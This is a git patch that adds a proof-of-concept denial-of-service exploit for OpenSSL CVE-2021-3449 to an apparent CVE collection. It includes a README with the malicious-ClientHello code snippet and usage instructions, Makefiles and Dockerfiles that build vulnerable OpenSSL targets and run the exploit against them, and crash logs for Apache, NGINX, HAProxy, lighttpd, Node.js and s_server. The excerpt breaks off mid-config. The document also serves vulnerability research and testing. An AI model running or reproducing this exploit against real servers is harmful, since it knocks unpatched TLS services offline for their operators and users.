From a5e4af5f996b86262f9b74305d46fb62e0248e12 Mon Sep 17 00:00:00 2001 From: cc_plus_plus <17005030@buaa.edu.cn> Date: Mon, 13 Mar 2023 06:35:27 +0000 Subject: [PATCH 1/3] Add CVE-2021-3449 --- cve/openssl/2021/CVE-2021-3449/.gitignore | 1 + cve/openssl/2021/CVE-2021-3449/Makefile | 55 + cve/openssl/2021/CVE-2021-3449/README.md | 315 +++ .../2021/CVE-2021-3449/demo/.dockerignore | 9 + .../2021/CVE-2021-3449/demo/.gitignore | 7 + cve/openssl/2021/CVE-2021-3449/demo/Makefile | 69 + .../demo/apache-default-ssl.conf | 25 + .../2021/CVE-2021-3449/demo/apache.Dockerfile | 9 + .../2021/CVE-2021-3449/demo/base.Dockerfile | 11 + .../CVE-2021-3449/demo/haproxy.Dockerfile | 8 + .../2021/CVE-2021-3449/demo/haproxy.cfg | 16 + .../CVE-2021-3449/demo/lighttpd-10-ssl.conf | 21 + .../CVE-2021-3449/demo/lighttpd.Dockerfile | 8 + .../2021/CVE-2021-3449/demo/nginx.Dockerfile | 8 + .../2021/CVE-2021-3449/demo/nginx.conf | 50 + .../2021/CVE-2021-3449/demo/nodejs.Dockerfile | 8 + cve/openssl/2021/CVE-2021-3449/demo/nodejs.js | 14 + .../demo/openssl-1.1.1j.tar.gz.sha256sum | 1 + .../CVE-2021-3449/demo/openssl.Dockerfile | 4 + cve/openssl/2021/CVE-2021-3449/go.mod | 5 + cve/openssl/2021/CVE-2021-3449/go.sum | 8 + cve/openssl/2021/CVE-2021-3449/main.go | 34 + cve/openssl/2021/CVE-2021-3449/tls/alert.go | 87 + cve/openssl/2021/CVE-2021-3449/tls/auth.go | 249 +++ .../2021/CVE-2021-3449/tls/cipher_suites.go | 384 ++++ cve/openssl/2021/CVE-2021-3449/tls/common.go | 900 +++++++++ cve/openssl/2021/CVE-2021-3449/tls/conn.go | 1263 ++++++++++++ .../2021/CVE-2021-3449/tls/generate_cert.go | 162 ++ .../CVE-2021-3449/tls/handshake_client.go | 869 ++++++++ .../CVE-2021-3449/tls/handshake_messages.go | 1742 +++++++++++++++++ .../2021/CVE-2021-3449/tls/key_agreement.go | 334 ++++ .../2021/CVE-2021-3449/tls/key_schedule.go | 128 ++ cve/openssl/2021/CVE-2021-3449/tls/prf.go | 283 +++ cve/openssl/2021/CVE-2021-3449/tls/ticket.go | 82 + cve/openssl/2021/CVE-2021-3449/tls/tls.go | 115 ++ cve/openssl/2021/yaml/CVE-2021-3449.yaml | 20 + 36 files changed, 7304 insertions(+) create mode 100644 cve/openssl/2021/CVE-2021-3449/.gitignore create mode 100644 cve/openssl/2021/CVE-2021-3449/Makefile create mode 100644 cve/openssl/2021/CVE-2021-3449/README.md create mode 100644 cve/openssl/2021/CVE-2021-3449/demo/.dockerignore create mode 100644 cve/openssl/2021/CVE-2021-3449/demo/.gitignore create mode 100644 cve/openssl/2021/CVE-2021-3449/demo/Makefile create mode 100644 cve/openssl/2021/CVE-2021-3449/demo/apache-default-ssl.conf create mode 100644 cve/openssl/2021/CVE-2021-3449/demo/apache.Dockerfile create mode 100644 cve/openssl/2021/CVE-2021-3449/demo/base.Dockerfile create mode 100644 cve/openssl/2021/CVE-2021-3449/demo/haproxy.Dockerfile create mode 100644 cve/openssl/2021/CVE-2021-3449/demo/haproxy.cfg create mode 100644 cve/openssl/2021/CVE-2021-3449/demo/lighttpd-10-ssl.conf create mode 100644 cve/openssl/2021/CVE-2021-3449/demo/lighttpd.Dockerfile create mode 100644 cve/openssl/2021/CVE-2021-3449/demo/nginx.Dockerfile create mode 100644 cve/openssl/2021/CVE-2021-3449/demo/nginx.conf create mode 100644 cve/openssl/2021/CVE-2021-3449/demo/nodejs.Dockerfile create mode 100644 cve/openssl/2021/CVE-2021-3449/demo/nodejs.js create mode 100644 cve/openssl/2021/CVE-2021-3449/demo/openssl-1.1.1j.tar.gz.sha256sum create mode 100644 cve/openssl/2021/CVE-2021-3449/demo/openssl.Dockerfile create mode 100644 cve/openssl/2021/CVE-2021-3449/go.mod create mode 100644 cve/openssl/2021/CVE-2021-3449/go.sum create mode 100644 cve/openssl/2021/CVE-2021-3449/main.go create mode 100644 cve/openssl/2021/CVE-2021-3449/tls/alert.go create mode 100644 cve/openssl/2021/CVE-2021-3449/tls/auth.go create mode 100644 cve/openssl/2021/CVE-2021-3449/tls/cipher_suites.go create mode 100644 cve/openssl/2021/CVE-2021-3449/tls/common.go create mode 100644 cve/openssl/2021/CVE-2021-3449/tls/conn.go create mode 100644 cve/openssl/2021/CVE-2021-3449/tls/generate_cert.go create mode 100644 cve/openssl/2021/CVE-2021-3449/tls/handshake_client.go create mode 100644 cve/openssl/2021/CVE-2021-3449/tls/handshake_messages.go create mode 100644 cve/openssl/2021/CVE-2021-3449/tls/key_agreement.go create mode 100644 cve/openssl/2021/CVE-2021-3449/tls/key_schedule.go create mode 100644 cve/openssl/2021/CVE-2021-3449/tls/prf.go create mode 100644 cve/openssl/2021/CVE-2021-3449/tls/ticket.go create mode 100644 cve/openssl/2021/CVE-2021-3449/tls/tls.go create mode 100644 cve/openssl/2021/yaml/CVE-2021-3449.yaml diff --git a/cve/openssl/2021/CVE-2021-3449/.gitignore b/cve/openssl/2021/CVE-2021-3449/.gitignore new file mode 100644 index 00000000..35ebe595 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/.gitignore @@ -0,0 +1 @@ +/cve-2021-3449 diff --git a/cve/openssl/2021/CVE-2021-3449/Makefile b/cve/openssl/2021/CVE-2021-3449/Makefile new file mode 100644 index 00000000..4de5b2f8 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/Makefile @@ -0,0 +1,55 @@ +cve-2021-3449: main.go $(wildcard tls/*.go) + go build -o cve-2021-3449 . + +export UBUNTU_VERSION + +.ONESHELL: +demo-openssl: cve-2021-3449 + $(MAKE) -C demo start-openssl + sleep 2 + ./cve-2021-3449 -host localhost:4433 + $(MAKE) -C demo stop-openssl + +.ONESHELL: +demo-apache: cve-2021-3449 + $(MAKE) -C demo start-apache + sleep 10 + ./cve-2021-3449 -host localhost:443 + sleep 5 + $(MAKE) -C demo stop-apache + +.ONESHELL: +demo-haproxy: cve-2021-3449 + $(MAKE) -C demo start-haproxy + sleep 3 + ./cve-2021-3449 -host localhost:4433 + sleep 3 + $(MAKE) -C demo stop-haproxy + +.ONESHELL: +demo-lighttpd: cve-2021-3449 + $(MAKE) -C demo start-lighttpd + sleep 3 + ./cve-2021-3449 -host localhost:4433 + sleep 3 + $(MAKE) -C demo stop-lighttpd + +.ONESHELL: +demo-nginx: cve-2021-3449 + $(MAKE) -C demo start-nginx + sleep 3 + ./cve-2021-3449 -host localhost:4433 + sleep 3 + $(MAKE) -C demo stop-nginx + +.ONESHELL: +demo-nodejs: cve-2021-3449 + $(MAKE) -C demo start-nodejs + sleep 8 + ./cve-2021-3449 -host localhost:4433 + sleep 3 + $(MAKE) -C demo stop-nodejs + +clean: + rm -f cve-2021-3449 + $(MAKE) -C demo clean diff --git a/cve/openssl/2021/CVE-2021-3449/README.md b/cve/openssl/2021/CVE-2021-3449/README.md new file mode 100644 index 00000000..5512ba08 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/README.md @@ -0,0 +1,315 @@ +# CVE-2021-3449 OpenSSL <1.1.1k DoS exploit + +Usage: `go run . -host hostname:port` + +This program implements a proof-of-concept exploit of CVE-2021-3449 +affecting OpenSSL servers pre-1.1.1k if TLSv1.2 secure renegotiation is accepted. + +It connects to a TLSv1.2 server and immediately initiates an RFC 5746 "secure renegotiation". +The attack involves a maliciously-crafted `ClientHello` that causes the server to crash +by causing a NULL pointer dereference (Denial-of-Service). + +## References + +- [OpenSSL security advisory](https://www.openssl.org/news/secadv/20210325.txt) +- [cve.mitre.org](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3449) +- [Ubuntu security notice](https://ubuntu.com/security/notices/USN-4891-1) (USN-4891-1) +- [Debian security tracker](https://security-tracker.debian.org/tracker/CVE-2021-3449) +- [Red Hat CVE entry](https://access.redhat.com/security/cve/CVE-2021-3449) + +> This issue was reported to OpenSSL on 17th March 2021 by Nokia. The fix was +> developed by Peter Kästle and Samuel Sapalski from Nokia. + +## Mitigation + +The only known fix is to update `libssl1.1`. + +Even though some applications use hardened TLS configurations by default that disable TLS renegotiation, +they are still affected by the bug if running an old OpenSSL version. + +## Exploit + +`main.go` is a tiny script that connects to a TLS server, forces a renegotiation, and disconnects. + +The exploit code was injected into a bundled version of the Go 1.14.15 `encoding/tls` package. +You can find it in `handshake_client.go:115`. The logic is self-explanatory. + +```go +// CVE-2021-3449 exploit code. +if hello.vers >= VersionTLS12 { + if c.handshakes == 0 { + println("sending initial ClientHello") + hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms + } else { + // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference + // if the supported_signature_algorithms extension is omitted, + // but supported_signature_algorithms_cert is present. + println("sending malicious ClientHello") + hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms + } +} +``` + +– [@terorie](https://github.com/terorie) + +## Demo + +The `demo/` directory holds configuration to patch various apps with a vulnerable version of OpenSSL. + +Test setup: +- Download and compile the vulnerable OpenSSL 1.1.1j version locally +- Prepare an Ubuntu 20.04 target container and upload the OpenSSL libraries +- Install application onto target container +- Start server and execute attack + +Requirements: +- OpenSSL (on the host) +- `build-essential` (Perl, GCC, Make) +- Docker + +**Note: None of the listed web servers are vulnerable to CVE-2021-3449 with OpenSSL 1.1.1k or later.** + +| Server | Distro | Version | Demo | Result | +| -------------------------------------------- | ------------ | ------- | -------------------- | ------------- | +| [OpenSSL s_server](#openssl-simple-server) | - | 1.1.1j | `make demo-openssl` | Crash | +| [Apache2](#apache2-httpd) | Ubuntu 18.04 | 2.4.29 | `make demo-apache2` | Partial crash | +| [HAProxy](#haproxy) | Ubuntu 18.04 | 1.8.8 | `make demo-haproxy` | Crash | +| [HAProxy](#haproxy) | Ubuntu 20.04 | 2.0.13 | `make demo-haproxy` | No effect | +| [lighttpd](#lighttpd) | Ubuntu 18.04 | 1.4.55 | `make demo-lighttpd` | Crash | +| [lighttpd](#lighttpd) | Ubuntu 20.04 | 1.4.55 | `make demo-lighttpd` | Crash | +| [lighttpd](#lighttpd) | Ubuntu 21.04 | 1.4.59 | `make demo-lighttpd` | No effect with config option | +| [NGINX](#nginx) | Ubuntu 18.04 | 1.14.0 | `make demo-nginx` | Partial crash | +| [NGINX](#nginx) | Ubuntu 20.04 | 1.18.0 | `make demo-nginx` | No effect | +| Node.js <=12 | Ubuntu 18.04 | | | No effect | +| [Node.js >12](#nodejs) | Ubuntu 18.04 | ? | `make demo-nodejs` | Crash | +| [Node.js >12](#nodejs) | Ubuntu 18.04 | 15.14.0 | `make demo-nodejs` | No effect | + +To clean up all demo resources, run `make clean`. + +### OpenSSL simple server + +The `openssl s_server` is a minimal TLS server implementation. + +* `make demo-openssl`: Full run (port 4433) +* `make -C demo build-openssl`: Build target Docker image +* `make -C demo start-openssl`: Start target at port 4433 +* `make -C demo stop-openssl`: Stop target + +Result: Full server crash. + +**Logs** + +``` +docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl +a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17 +docker logs -f cve-2021-3449-openssl & +sleep 2 +warning: Error disabling address space randomization: Operation not permitted +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". +Using default temp DH parameters +ACCEPT +sending initial ClientHello +connected +sending malicious ClientHello + +[[truncated]] + +Program received signal SIGSEGV, Segmentation fault. +0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 +#0 0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 +#1 0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 +#2 0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 +#3 0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 +#4 0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 +#5 0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 +#6 0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 +#7 0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 +#8 0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 +#9 0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 +#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 +#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 +#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 +#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 +#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 +#15 0x000055aa5a10f209 in sv_body () +#16 0x000055aa5a1302ec in do_server () +#17 0x000055aa5a114815 in s_server_main () +#18 0x000055aa5a0f9395 in do_cmd () +#19 0x000055aa5a0f9ee1 in main () +malicious handshake failed, exploit might have worked +``` + +### Apache2 httpd + +Apache2 `httpd` web server with default configuration is vulnerable. + +* `make demo-apache`: Full run (port 443) +* `make -C demo build-apache`: Build target Docker image +* `make -C demo start-apache`: Start target at port 443 +* `make -C demo stop-apache`: Stop target + +Thank you to [@binarytrails](https://github.com/binarytrails) for the contribution. + +Result: Partial disruption, main process still alive but worker process crashed. + +**Logs** + +``` +docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2 +0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8 +docker logs -f cve-2021-3449-apache2 & + +[[truncated]] + +sending initial ClientHello +connected +sending malicious ClientHello +[Sat Mar 27 02:54:38.153327 2021] [ssl:info] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH01964: Connection to child 64 established (server localhost:443) +[Sat Mar 27 02:54:38.153619 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found +[Sat Mar 27 02:54:38.155697 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2233): [client 127.0.0.1:46846] AH02041: Protocol: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305 (256/256 bits) +[Sat Mar 27 02:54:38.155781 2021] [ssl:error] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH02042: rejecting client initiated renegotiation +[Sat Mar 27 02:54:38.155837 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found +malicious handshake failed, exploit might have worked: EOF +[Sat Mar 27 02:54:39.183129 2021] [core:notice] [pid 19:tid 140433267538880] AH00051: child pid 21 exit signal Segmentation fault (11), possible coredump in /etc/apache2 +``` + +### HAProxy + +HAProxy versions 2.0.13 and up are not affected. + +Versions before at least 1.8.8 are vulnerable with "intermediate" TLS configuration is vulnerable. + +* `make demo-haproxy`: Full run (port 4433) +* `make -C demo build-haproxy`: Build target Docker image +* `make -C demo start-haproxy`: Start target at port 4433 +* `make -C demo stop-haproxy`: Stop target + +Tests run using master-worker mode (`-W` flag, default on Debian). +Surprisingly, the master process exits if a worker process dies. + +Result: Full server crash. + +**Logs** + +``` +docker run -d -it --name cve-2021-3449-haproxy --network host local/cve-2021-3449/haproxy +1786bd2fc0ed8d8ffb0388fb223a61c9cabdd095cb9908e35ad4c77e1677cda8 +docker logs -f cve-2021-3449-haproxy & +sending initial ClientHello +connected +sending malicious ClientHello +malicious handshake failed, exploit might have worked: EOF +[ALERT] 086/075305 (1) : Current worker 7 exited with code 139 +[ALERT] 086/075305 (1) : exit-on-failure: killing every workers with SIGTERM +[WARNING] 086/075305 (1) : All workers exited. Exiting... (139) +``` + +### lighttpd + +lighttpd versions 1.4.56 and up are not vulnerable if `ssl.disable-client-renegotiation = "enable"` is configured in lighttpd.conf. + +lighttpd web server <= 1.4.55 with "intermediate" TLS configuration is vulnerable. + +* `make demo-lighttpd`: Full run (port 4433) +* `make -C demo build-lighttpd`: Build target Docker image +* `make -C demo start-lighttpd`: Start target at port 4433 +* `make -C demo stop-lighttpd`: Stop target + +Result: Full server crash. + +**Logs** + +``` +docker run -d -it --name cve-2021-3449-lighttpd --network host local/cve-2021-3449/lighttpd +84970c88abb9251e8b92a2fca777c6c23e5e8693dff0ae62c5a363692a859232 +docker logs -f cve-2021-3449-lighttpd & +sending initial ClientHello +connected +sending malicious ClientHello +malicious handshake failed, exploit might have worked: EOF +/bin/bash: line 1: 7 Segmentation fault lighttpd -D -f /etc/lighttpd/lighttpd.conf +``` + +### NGINX + +NGINX versions 1.18.0 and up are not vulnerable. + +NGINX 1.14.0 web server with common configuration is vulnerable. (https://nginxconfig.io) + +NGINX versions >1.15.4 with OpenSSL >=1.1.1 are assumed to be fine, +since they include the `SSL_OP_NO_RENEGOTIATION` patch: +http://mailman.nginx.org/pipermail/nginx-devel/2018-September/011461.html + +* `make demo-nginx`: Full run (port 4433) +* `make -C demo build-nginx`: Build target Docker image +* `make -C demo start-nginx`: Start target at port 4433 +* `make -C demo stop-nginx`: Stop target + +Result: Partial disruption, main process still alive but worker process crashed. + +**Logs** + +``` +docker run -d -it --name cve-2021-3449-nginx --network host local/cve-2021-3449/nginx +ccba15530df5ba3d74a584a8c62d4e88deb33203fc5dee6c3c3387b132861f70 +docker logs -f cve-2021-3449-nginx & +sending initial ClientHello +connected +sending malicious ClientHello +malicious handshake failed, exploit might have worked: EOF +2021/03/27 03:24:40 [alert] 7#7: worker process 8 exited on signal 11 (core dumped) +``` + +### Node.js + +Node.js `https.createServer()` is vulnerable. + +* `make demo-nodejs`: Full run (port 4433) +* `make -C demo build-nodejs`: Build target Docker image +* `make -C demo start-nodejs`: Start target at port 4433 +* `make -C demo stop-nodejs`: Stop target + +Result: Full server crash. + +**Logs** + +``` +server started +sending initial ClientHello +connected +sending malicious ClientHello + +Thread 1 "node" received signal SIGSEGV, Segmentation fault. +0x000000000160714e in tls1_process_sigalgs () +#0 0x000000000160714e in tls1_process_sigalgs () +#1 0x00000000016074b3 in tls1_set_server_sigalgs () +#2 0x00000000016007dd in tls_post_process_client_hello () +#3 0x00000000015ef692 in state_machine.part () +#4 0x00000000015c1a6d in ssl3_read_bytes () +#5 0x00000000015ca2c7 in ssl3_read () +#6 0x00000000015d6491 in SSL_read () +#7 0x0000000000c35332 in node::crypto::TLSWrap::ClearOut() () +#8 0x0000000000c35f10 in node::crypto::TLSWrap::OnStreamRead(long, uv_buf_t const&) () +#9 0x0000000000b6cad8 in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) () +#10 0x00000000014842d7 in uv__read (stream=stream@entry=0x5df10f0) at ../deps/uv/src/unix/stream.c:1239 +#11 0x0000000001484c90 in uv__stream_io (loop=, w=0x5df1178, events=1) at ../deps/uv/src/unix/stream.c:1306 +#12 0x000000000148b775 in uv.io_poll () at ../deps/uv/src/unix/linux-core.c:462 +#13 0x0000000001479318 in uv_run (loop=0x45a1020 , mode=UV_RUN_DEFAULT) at ../deps/uv/src/unix/core.c:385 +#14 0x00000000009d2025 in node::SpinEventLoop(node::Environment*) () +#15 0x0000000000ac8b90 in node::NodeMainInstance::Run(node::EnvSerializeInfo const*) () +#16 0x0000000000a4f73a in node::Start(int, char**) () +#17 0x00007efe747dcbf7 in __libc_start_main (main=0x9cbbd0
, argc=2, argv=0x7fff42035238, init=, fini=, rtld_fini=, stack_end=0x7fff42035228) at ../csu/libc-start.c:310 +#18 0x00000000009ce26c in _start () +malicious handshake failed, exploit might have worked: EOF +``` + +## Copyright + +This repository bundles the `encoding/tls` package of the Go programming language. + +``` +// Copyright 2009 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. +``` diff --git a/cve/openssl/2021/CVE-2021-3449/demo/.dockerignore b/cve/openssl/2021/CVE-2021-3449/demo/.dockerignore new file mode 100644 index 00000000..fcd11acb --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/demo/.dockerignore @@ -0,0 +1,9 @@ +* +!*.so* +!openssl +!server.pem +!apache-default-ssl.conf +!haproxy.cfg +!lighttpd-10-ssl.conf +!nginx.conf +!nodejs.js diff --git a/cve/openssl/2021/CVE-2021-3449/demo/.gitignore b/cve/openssl/2021/CVE-2021-3449/demo/.gitignore new file mode 100644 index 00000000..a9d46952 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/demo/.gitignore @@ -0,0 +1,7 @@ +/openssl-1.1.1j/ +/openssl_dir +/openssl-1.1.1j.tar.gz +/openssl-1.1.1j.tar.gz.download +/openssl +*.pem +*.so* diff --git a/cve/openssl/2021/CVE-2021-3449/demo/Makefile b/cve/openssl/2021/CVE-2021-3449/demo/Makefile new file mode 100644 index 00000000..5435bfd5 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/demo/Makefile @@ -0,0 +1,69 @@ +CFLAGS ?= -Og -Wall +export CFLAGS +CXXFLAGS ?= -Og -Wall +export CXXFLAGS + +IMAGE_PREFIX := local/cve-2021-3449 +UBUNTU_VERSION ?= focal +IMAGE_INT := $(IMAGE_PREFIX)/base-$(UBUNTU_VERSION) +IMAGE_INT_REQ := build-base-$(UBUNTU_VERSION) + +CONTAINER_PREFIX := cve-2021-3449 + +TARGETS := apache haproxy lighttpd nginx nodejs openssl + +BUILD_TARGETS := $(addprefix build-, $(TARGETS)) +.PHONY: $(BUILD_TARGETS) +$(BUILD_TARGETS): build-%: $(IMAGE_INT_REQ) + docker build -f $*.Dockerfile -t $(IMAGE_PREFIX)/$* --build-arg "BASE_IMAGE=$(IMAGE_INT)" . + +START_TARGETS := $(addprefix start-, $(TARGETS)) +.PHONY: $(START_TARGETS) +$(START_TARGETS): start-%: build-% + docker run -d -it --name $(CONTAINER_PREFIX)-$* --network host $(IMAGE_PREFIX)/$* + docker logs -f $(CONTAINER_PREFIX)-$* & + +LOGS_TARGETS := $(addprefix logs-, $(TARGETS)) +.PHONY: $(LOGS_TARGETS) +$(LOGS_TARGETS): logs-%: + docker logs $(CONTAINER_PREFIX)-$* + +STOP_TARGETS := $(addprefix stop-, $(TARGETS)) +.PHONY: $(STOP_TARGETS) +$(STOP_TARGETS): stop-%: + docker container rm -f $(CONTAINER_PREFIX)-$* || true + +.PHONY: $(IMAGE_INT_REQ) +$(IMAGE_INT_REQ): libcrypto.so.1.1 libssl.so.1.1 openssl server.pem + docker build -f base.Dockerfile -t $(IMAGE_INT) --build-arg "BASE_IMAGE=ubuntu:$(UBUNTU_VERSION)" . + +server.pem: + openssl req -x509 -newkey rsa:2048 -keyout ./key.pem -out ./cert.pem -days 365 -nodes -subj "/CN=dummycert/O=My Company Name/C=US" + cat key.pem cert.pem >> server.pem + rm key.pem cert.pem + +.PHONY: clean +clean: $(STOP_TARGETS) + docker image rm -f $(addprefix $(IMAGE_PREFIX)/,$(TARGETS)) + rm -rf ./*.pem ./*.so* ./openssl ./openssl_dir ./openssl-1.1.1j ./openssl-1.1.1j.tar.gz ./openssl-1.1.1j.tar.gz.download + +openssl libcrypto.so.1.1 libssl.so.1.1: openssl_dir/Makefile + $(MAKE) -C openssl_dir -j4 apps/openssl libcrypto.so libssl.so + ln -f openssl_dir/libcrypto.so.1.1 libcrypto.so.1.1 + ln -f openssl_dir/libssl.so.1.1 libssl.so.1.1 + ln -f openssl_dir/apps/openssl openssl + +openssl_dir/Makefile: openssl_dir/.downloaded + cd openssl_dir && ./config && $(MAKE) build_generated + +openssl_dir/.downloaded: openssl-1.1.1j.tar.gz + tar -xzf openssl-1.1.1j.tar.gz + ln -sf openssl-1.1.1j openssl_dir + touch openssl_dir/.downloaded + +openssl-1.1.1j.tar.gz: openssl-1.1.1j.tar.gz.download + sha256sum -c openssl-1.1.1j.tar.gz.sha256sum + ln -sf openssl-1.1.1j.tar.gz.download openssl-1.1.1j.tar.gz + +openssl-1.1.1j.tar.gz.download: + curl https://www.openssl.org/source/old/1.1.1/openssl-1.1.1j.tar.gz --output openssl-1.1.1j.tar.gz.download diff --git a/cve/openssl/2021/CVE-2021-3449/demo/apache-default-ssl.conf b/cve/openssl/2021/CVE-2021-3449/demo/apache-default-ssl.conf new file mode 100644 index 00000000..7c2b859b --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/demo/apache-default-ssl.conf @@ -0,0 +1,25 @@ + + + ServerAdmin webmaster@localhost + + DocumentRoot /var/www/html + LogLevel info ssl:debug + + ErrorLog ${APACHE_LOG_DIR}/error.log + CustomLog ${APACHE_LOG_DIR}/access.log combined + + SSLEngine on + + SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem + SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key + + + SSLOptions +StdEnvVars + + + SSLOptions +StdEnvVars + + + + +# vim: syntax=apache ts=4 sw=4 sts=4 sr noet diff --git a/cve/openssl/2021/CVE-2021-3449/demo/apache.Dockerfile b/cve/openssl/2021/CVE-2021-3449/demo/apache.Dockerfile new file mode 100644 index 00000000..3d7c49eb --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/demo/apache.Dockerfile @@ -0,0 +1,9 @@ +ARG BASE_IMAGE +FROM ${BASE_IMAGE} +WORKDIR /root +RUN DEBIAN_FRONTEND=noninteractive \ + apt-get install -y apache2 +COPY apache-default-ssl.conf /etc/apache2/sites-enabled/default-ssl.conf +RUN a2enmod ssl +ENTRYPOINT ["/bin/bash", "-c"] +CMD ["/usr/sbin/apachectl start && sleep 2 && tail -n+0 -f /var/log/apache2/error.log"] diff --git a/cve/openssl/2021/CVE-2021-3449/demo/base.Dockerfile b/cve/openssl/2021/CVE-2021-3449/demo/base.Dockerfile new file mode 100644 index 00000000..ab883642 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/demo/base.Dockerfile @@ -0,0 +1,11 @@ +# Create base system with a vulnerable OpenSSL version. +ARG BASE_IMAGE=ubuntu:bionic +FROM $BASE_IMAGE +RUN DEBIAN_FRONTEND=noninteractive \ + apt-get update \ + && apt-get install -y libssl1.1 openssl gdb curl +# Patch in the vulnerable OpenSSL version. +COPY libssl.so.1.1 libcrypto.so.1.1 /usr/lib/x86_64-linux-gnu/ +COPY openssl /usr/bin/ +# Copy the self-signed certificate. +COPY server.pem /root/ diff --git a/cve/openssl/2021/CVE-2021-3449/demo/haproxy.Dockerfile b/cve/openssl/2021/CVE-2021-3449/demo/haproxy.Dockerfile new file mode 100644 index 00000000..0936431a --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/demo/haproxy.Dockerfile @@ -0,0 +1,8 @@ +ARG BASE_IMAGE +FROM ${BASE_IMAGE} +WORKDIR /root +RUN DEBIAN_FRONTEND=noninteractive \ + apt-get install -y haproxy +COPY haproxy.cfg /etc/haproxy/ +ENTRYPOINT ["/bin/bash", "-c"] +CMD ["haproxy -W -f /etc/haproxy/haproxy.cfg"] diff --git a/cve/openssl/2021/CVE-2021-3449/demo/haproxy.cfg b/cve/openssl/2021/CVE-2021-3449/demo/haproxy.cfg new file mode 100644 index 00000000..ad0714ec --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/demo/haproxy.cfg @@ -0,0 +1,16 @@ +# generated 2021-03-28, Mozilla Guideline v5.6, HAProxy 2.1, OpenSSL 1.1.1j, intermediate configuration +# https://ssl-config.mozilla.org/#server=haproxy&version=2.1&config=intermediate&openssl=1.1.1j&guideline=5.6 +global + # intermediate configuration + ssl-default-bind-ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384 + ssl-default-bind-options prefer-client-ciphers no-sslv3 no-tlsv10 no-tlsv11 no-tls-tickets + + ssl-default-server-ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384 + ssl-default-server-options no-sslv3 no-tlsv10 no-tlsv11 no-tls-tickets + +frontend ft_test + mode http + bind :4433 ssl crt /root/server.pem alpn h2,http/1.1 + + # HSTS (63072000 seconds) + http-response set-header Strict-Transport-Security max-age=63072000 diff --git a/cve/openssl/2021/CVE-2021-3449/demo/lighttpd-10-ssl.conf b/cve/openssl/2021/CVE-2021-3449/demo/lighttpd-10-ssl.conf new file mode 100644 index 00000000..ae82ad9f --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/demo/lighttpd-10-ssl.conf @@ -0,0 +1,21 @@ +# generated 2021-03-28, 